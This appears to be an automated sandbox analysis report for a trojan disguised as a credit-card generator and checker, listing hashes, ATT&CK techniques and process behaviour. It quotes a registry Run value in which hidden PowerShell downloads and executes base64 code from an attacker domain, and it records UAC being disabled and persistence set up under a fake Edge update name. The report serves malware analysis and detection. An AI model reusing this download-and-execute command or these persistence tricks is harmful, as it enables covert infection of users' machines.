54b2a237e237d0060e5d8f5ab612c0b236f5f39d07b311af99fa1e7e986ee0e9

General

Target

CreditCardGenChecker.exe
Size

1.5MB
MD5

50efa8e740357a86511b32b7f67193b0
SHA1

374e00d228ed1510f8cbc07558dd714b83e43f18
SHA256

54b2a237e237d0060e5d8f5ab612c0b236f5f39d07b311af99fa1e7e986ee0e9
SHA512

fc258fff378ae5ac756f4068c015b2bfea0047928f42c15867836f924eb4b95c1e6c404730a5c8dfd074b3e0208994530557b7aadb03868e4dc21d243a8e9a71
SSDEEP

12288:TyV3Wsxv4Til5TYyUyQc8uHgo2aYFSvRX55Lm1LsLzEg5xC4BSE9:TyxWcMoSDuAxaUSZDLmBsLzEg5xCvE9

Score

10^/10

discovery evasion persistence trojan vmprotect

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

CardsChecker.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" CardsChecker.exe
Drops file in Drivers directory 1 IoCs

Processes:

svchost.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts svchost.exe
Drops startup file 1 IoCs

Processes:

sysapp.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.lnk sysapp.exe
Executes dropped EXE 2 IoCs

Processes:

sysapp.exeCardsChecker.exe

pid process

2356 sysapp.exe
2104 CardsChecker.exe
Loads dropped DLL 3 IoCs

Processes:

CreditCardGenChecker.exesysapp.exe

pid process

2588 CreditCardGenChecker.exe
2588 CreditCardGenChecker.exe
2356 sysapp.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	svchost.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.lnk	sysapp.exe

pid	process
2588	CreditCardGenChecker.exe
2588	CreditCardGenChecker.exe
2356	sysapp.exe

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/2104-74-0x0000000000AC0000-0x0000000000BC4000-memory.dmp	vmprotect
C:\Users\Admin\AppData\Local\Temp\CardsChecker.exe	vmprotect

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

sysapp.exeCardsChecker.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Services = "C:\\Users\\Admin\\AppData\\Roaming\\{90F4370F114B3207603164}\\{90F4370F114B3207603164}.exe"	sysapp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Inc = "cmd.exe /c powershell -NoProfile -WindowStyle Hidden -Command [AppDomain]::CurrentDomain.Load([Convert]::Frombase64String((New-Object System.Net.WebClient).Downloadstring('http://xiiideath.com/avx'))).EntryPoint.invoke($null,$null)"	CardsChecker.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

CardsChecker.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	CardsChecker.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CardsChecker.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

2 drive.google.com
3 drive.google.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

sysapp.exe

description pid process target process

PID 2356 set thread context of 2760 2356 sysapp.exe svchost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

CardsChecker.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CardsChecker.exe

flow	ioc
2	drive.google.com
3	drive.google.com

description	pid	process	target process
PID 2356 set thread context of 2760	2356	sysapp.exe	svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CardsChecker.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

sysapp.exesvchost.exe

pid	process
2356	sysapp.exe
2356	sysapp.exe
2356	sysapp.exe
2356	sysapp.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

sysapp.exeCardsChecker.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2356	sysapp.exe
Token: SeSecurityPrivilege	2356	sysapp.exe
Token: SeTakeOwnershipPrivilege	2356	sysapp.exe
Token: SeLoadDriverPrivilege	2356	sysapp.exe
Token: SeSystemProfilePrivilege	2356	sysapp.exe
Token: SeSystemtimePrivilege	2356	sysapp.exe
Token: SeProfSingleProcessPrivilege	2356	sysapp.exe
Token: SeIncBasePriorityPrivilege	2356	sysapp.exe
Token: SeCreatePagefilePrivilege	2356	sysapp.exe
Token: SeBackupPrivilege	2356	sysapp.exe
Token: SeRestorePrivilege	2356	sysapp.exe
Token: SeShutdownPrivilege	2356	sysapp.exe
Token: SeDebugPrivilege	2356	sysapp.exe
Token: SeSystemEnvironmentPrivilege	2356	sysapp.exe
Token: SeRemoteShutdownPrivilege	2356	sysapp.exe
Token: SeUndockPrivilege	2356	sysapp.exe
Token: SeManageVolumePrivilege	2356	sysapp.exe
Token: 33	2356	sysapp.exe
Token: 34	2356	sysapp.exe
Token: 35	2356	sysapp.exe
Token: SeDebugPrivilege	2104	CardsChecker.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

CreditCardGenChecker.exesysapp.exesvchost.exe

description	pid	process	target process
PID 2588 wrote to memory of 2356	2588	CreditCardGenChecker.exe	sysapp.exe
PID 2588 wrote to memory of 2356	2588	CreditCardGenChecker.exe	sysapp.exe
PID 2588 wrote to memory of 2356	2588	CreditCardGenChecker.exe	sysapp.exe
PID 2588 wrote to memory of 2104	2588	CreditCardGenChecker.exe	CardsChecker.exe
PID 2588 wrote to memory of 2104	2588	CreditCardGenChecker.exe	CardsChecker.exe
PID 2588 wrote to memory of 2104	2588	CreditCardGenChecker.exe	CardsChecker.exe
PID 2588 wrote to memory of 2104	2588	CreditCardGenChecker.exe	CardsChecker.exe
PID 2356 wrote to memory of 2760	2356	sysapp.exe	svchost.exe
PID 2356 wrote to memory of 2760	2356	sysapp.exe	svchost.exe
PID 2356 wrote to memory of 2760	2356	sysapp.exe	svchost.exe
PID 2356 wrote to memory of 2760	2356	sysapp.exe	svchost.exe
PID 2760 wrote to memory of 2868	2760	svchost.exe	WerFault.exe
PID 2760 wrote to memory of 2868	2760	svchost.exe	WerFault.exe
PID 2760 wrote to memory of 2868	2760	svchost.exe	WerFault.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

CardsChecker.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" CardsChecker.exe

C:\Users\Admin\AppData\Local\Temp\CreditCardGenChecker.exe
"C:\Users\Admin\AppData\Local\Temp\CreditCardGenChecker.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2588

C:\Users\Admin\AppData\Roaming\sysapp.exe
"C:\Users\Admin\AppData\Roaming\sysapp.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
3⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2760

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2760 -s 220
4⤵
PID:2868

C:\Users\Admin\AppData\Local\Temp\CardsChecker.exe
"CardsChecker.exe"
2⤵
- UAC bypass
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:2104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\CardsChecker.exe

Filesize
693KB

MD5
6f14dcfb307f4f9d9fe04c277f9e6e73

SHA1
c1b3cf0ee07b96678b27f546a914cd4501c11b25

SHA256
b1fec85f2708e55f07e6301f8ac4f61457d8b5706dc72705d89a9001ee90ca5d

SHA512
8ef3c25434c004c2cdf3f07e4e632b42feb180ed740d34f4b5506ee0d387b12bbf0c34ce63250f64fef62de94843ec8a20e62887db0647d06818555b39ce9d80

Download Submit
C:\Users\Admin\AppData\Roaming\{90F4370F114B3207603164}\{90F4370F114B3207603164}.exe

Filesize
278KB

MD5
cfc83e7145c70e71874460c78a0e9cf4

SHA1
d3ec09e035916e8eceb14cd53650cc843606aae2

SHA256
ab97099d14bfaf3fcb3862628d710d5b6b2fa9afa30011ddcf686eb11d6ff92f

SHA512
b04b2809e9fff5172a356e9b0fc66c969d9ecf1fd804cf3ff002f489591b7a4e52ca7c5cc874e40fb3bed0982bcae78cc88bbfab52137a4564bdf482a4ad9eb4

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
1KB

MD5
a59a2823cf4bb50d21773c5a03d06176

SHA1
2fdfcf1ad6b564184ab61c7650e121a87c8a4673

SHA256
76a0a6bc1f2fb9d17bb9bae437c17e84b269d6773cbff0b501dd5df70b0768e4

SHA512
1c6e06131aac6f93b652f5b1888a868acdeee5851185086e2597119d636b4a95d96327715e10b95f356d84f2ab5868d25161ab2d05854f229fb9417da2062696

Download Submit
memory/2104-76-0x0000000074C60000-0x000000007534E000-memory.dmp

Filesize
6.9MB

Download
memory/2104-75-0x0000000001FD0000-0x0000000002036000-memory.dmp

Filesize
408KB

Download
memory/2104-74-0x0000000000AC0000-0x0000000000BC4000-memory.dmp

Filesize
1.0MB

Download
memory/2104-73-0x0000000074C6E000-0x0000000074C6F000-memory.dmp

Filesize
4KB

Download
memory/2104-78-0x0000000074C6E000-0x0000000074C6F000-memory.dmp

Filesize
4KB

Download
memory/2104-79-0x0000000074C60000-0x000000007534E000-memory.dmp

Filesize
6.9MB

Download
memory/2760-22-0x000007FFFFFDC000-0x000007FFFFFDD000-memory.dmp

Filesize
4KB

Download
memory/2760-77-0x0000000140000000-0x000000014004C000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads